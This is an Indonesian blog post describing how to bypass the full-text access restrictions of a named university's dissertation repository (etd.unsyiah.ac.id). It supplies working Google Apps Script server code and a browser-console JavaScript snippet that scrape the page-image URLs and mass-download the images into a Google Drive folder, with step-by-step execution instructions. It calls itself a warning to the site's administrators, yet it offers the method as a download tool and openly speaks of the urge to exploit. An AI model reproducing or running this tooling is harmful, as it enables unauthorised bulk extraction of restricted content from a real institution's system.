Sabtu, 19 Januari 2019

Bypass unsyiah batch fulltext Literature | Console Penetrate

Beginilah jika sudah di ujung semester. Laptop, usb, hdd, dan Drive penuh dengan jurnal dan literatur. Pikiran juga sudah kabur kemana mana mikir proposal. 
Jadi apakah ada website yang sedia banyak refrensi literatur?
Jawabanya banyak... Gugel aja. Tapi tidak semua website menyediakan secara fulltext.  Jadi sembari mencari Literatur, selalu muncul di benak untuk mencermati setiap sistem informasi suatu repositori. BENAR SAJA, telah kami temukan satu celah pada salah satu web repositori universitas di Banda Aceh.

Batch Fulltext Literature. Javascript, GAS,  & GoogleDrive | etd.Unsyiah

Preliminary

Tips ini ditulis semata-mata sebagai alat bantu mendownload hasil disertasi dari web unsyiah, ujicoba penetrasi web melalui konsol, dan sebagai peringatan atas lubang di sistem unsyiah.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, Google Apps Script, dan bantuan Google Drive yang mana javascript kami inject menggunakan konsol bawan browser kemudian di proses melaui side server yang dibangun menggunakan Google Apps Script.

Ide Awal

  • Keperluan akan jurnal dan literatur. Terlebih resources yang fulltext;
  • Sistem yang bolong pada website unsyiah mendorong keinginan untuk exploitasi;
  • Sebagai peringatan pada admin unsyiah.

Subject

adalah website disertasi unsyiah, atau tepatnya http://etd.unsyiah.ac.id

Metode

Secara garis besar metode yang digunakan dapat dibaca pada Preliminary. 
Kemudian untuk script yang digunakan akan kami ulas pada subab dibawah. Namun sebelumnya perlu disiapkan akun Google drive dan folder khusus untuk menampung hasil Batch.

Google Drive
pada google drive perlu disiapkan folder khusus yang mana didalamnya akan digunakan sebagai root dari side server yang akan dibangun menggunakan Apps Script. Kemudian folder receiver dan catat id_drive dari folder receiver!.

Apps Script (Side Server)
Sebelumnya google drive antum harus sudah terhubung dengan addon Apps Script. jika blum terhubung silahkan hubungkan terlebih dahulu, caranya silahkan googling.
Jika fitur Apps Script sudah terhubung, silahkan buat script baru didalam root folder yang sebelumnya telah dibuat.
Copy-paste script dibawah kedalam jendela Apps Script kemudian save.


/*---------------------------------------------------------------------------------------
ByPass_unsyiah.ac.id_repository v 0.0.01
   ByPass unsyiah server and scraping certain content
   Google AppsScript
   Author : GB_Sources
----------------------------------------------------------------------------------------*/

function doGet(e){
  try{
  var recv_id = e.parameter.id,
      base = e.parameter.url,
      n = e.parameter.n,
      ms ="";
    if(recv_id == undefined){ms +="\n please Declare following: \n - id = <gDrive_folder_id> \n - url = <raw_byPassUrl> \n - n = <number_of_page>"}
    batch(n,base,recv_id);
    return ContentService.createTextOutput("200 "+ms)
  }catch(err){
  return ContentService.createTextOutput(err.message);
  }
}


function addFile(n,uri,recv_id) {
  var dr = DriveApp.getFolderById(recv_id),
      cont = UrlFetchApp.fetch(uri).getBlob(),
      f_id = dr.createFile(cont).setName(addZero(n)).getId();
  return f_id;
  
}

function batch(n,uri,recv_id,nt){
  var ms ="";
  try{
    for(var x = 1; x<=n;x++){
      
      var itm = urut(x),
          url = uri+"-"+itm+'.png';
      var f_id = addFile(x,url,recv_id);
      ms +=itm+' ['+f_id+'] '+url+' :success \n';
      
    }
  }catch(err){Logger.log(err.message);
              ms += "error: "+err.message;
             }
  DriveApp.getFolderById(recv_id).createFile("log.txt", ms);
}

function addZero(x){

    if(x < 10){
      return "00"+x;
    }
    
    if( x < 100){
      return "0"+x;
    }
    if( x > 99){
      return x;
    }

}

function urut(x){

    if(x < 10){
      return "0"+x;
    }   
  else{
      return x;
    }
}


Selanjutnya, Deploy script as web app caranya dengan klik Publish > Deploy as web app...
Ikuti langkahnya hingga selesai. Jika antum dimintai otorisasi dan muncul app tidak dipercaya, Just select "Advance" > goto yourscript and "allow";
Kemudian catat  web app Url untuk langkah selanjutnya.

Javascript (console)
Tugas javascript disini hanya untuk mengirim informasi awal kepada side server yang telah dibuat. untuk script yang digunakan adalah sebagai berikut:


//Scraping data
d=document;
ind = d.getElementsByName("page")[0];
st = d.styleSheets[8].rules[0].style.backgroundImage;
base = st.slice(5,st.length-9);



//initServer
var Drive_id ="<Drive_id>", //fill with google received drive folder_id
server ="<Server_appsScript_Url>", //SideServerUrl don't change it
param = {id:Drive_id,url:base,n:ind.length};

$.get(server,param,function(data){console.log(data)});



Sesuaikan beberapa script berikut:
  • <Drive_ID> dengan id_drive dari folder receiver yang telah dibuat.  
  • <Server_appsScript_Url> dengan web app Url yang didapatkan sebelumnya.
Seluruh amunisi telah siap.

Eksekusi

Dalam tahap ini antum sudah harus menemukan target literatur yang akan di batch, jadi silahkan berselancar di etd usyiah terlebih dahulu. Jika sudah ditemukan, langkah selanjutnya adalah masuk pada mode "Baca full text". Lalu buka web console dengan F12 dan masukan javascript kemudian enter. Tunggu hingga console memberikan respon dan buka folder receiver yang telah dibuat.

Kesimpulan

  • Terdapat lubang pada sistem etd unsyiah;
  • Tips/trik ini ditulis untuk menunjukan lubang pada sistem unsyiah, dan menguji hal apasajakah yang dapat di eksploitasi dari lubang tersebut;
  • Script diatas dapat digunakan untuk mendownload dan backup fulltext literatur dari etd unsyiah;
  • Batch Output akan ditampung pada folder receiver yang telah dibuat pada google drive, dan tergantung pada id_drive yang dimasukkan.

Video demonstrasi akan diunggah pada postingan berikutnya.
Salam